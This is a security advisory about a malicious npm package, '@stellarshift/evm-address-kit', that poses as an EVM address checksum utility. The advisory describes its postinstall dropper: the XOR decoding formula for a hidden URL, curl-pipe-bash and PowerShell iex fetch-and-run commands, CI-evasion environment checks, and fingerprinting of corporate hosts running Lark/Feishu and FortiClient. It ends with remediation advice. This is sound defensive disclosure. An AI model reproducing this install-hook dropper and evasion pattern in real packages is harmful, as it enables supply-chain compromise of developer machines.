@stellarshift/evm-address-kitnpm

The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in cleartext: lib/runtime/endpoint-registry.json stores an integer array under an ss-xor-v1 encoding with seed evm-address-kit, which lib/runtime/config-resolver.js decodes via segments[i] ^ key.charCodeAt(i % key.length) ^ ((i * 7 + 13) & 0xff) at runtime to reconstruct an https:// URL. The dropper then executes curl -fsSL '<url>' | bash on Linux/macOS or powershell... iex (iwr -UseBasicParsing -Uri $uri).Content on Windows in a detached child process, piping opaque remote content directly into a shell/PowerShell interpreter. Execution is gated by dev-profile.js: it aborts when common CI environment variables are set (CI, GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, BUILDKITE, CIRCLECI, TF_BUILD, CONTINUOUS_INTEGRATION) and, on darwin/win32, requires both a Lark/Feishu install (/Applications/Lark.app, /Applications/Feishu.app) and a FortiClient install (Fortinet\FortiClient) to be present. The stated purpose of the package is EVM address checksumming, which does not justify runtime URL obfuscation, remote shell execution at install time, or corporate-workstation fingerprinting. The combination — install-time execution, obfuscated destination, CI evasion, and specific-vendor host fingerprinting — is a targeted install-time remote code execution dropper aimed at managed corporate endpoints running Lark/Feishu with FortiClient VPN.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.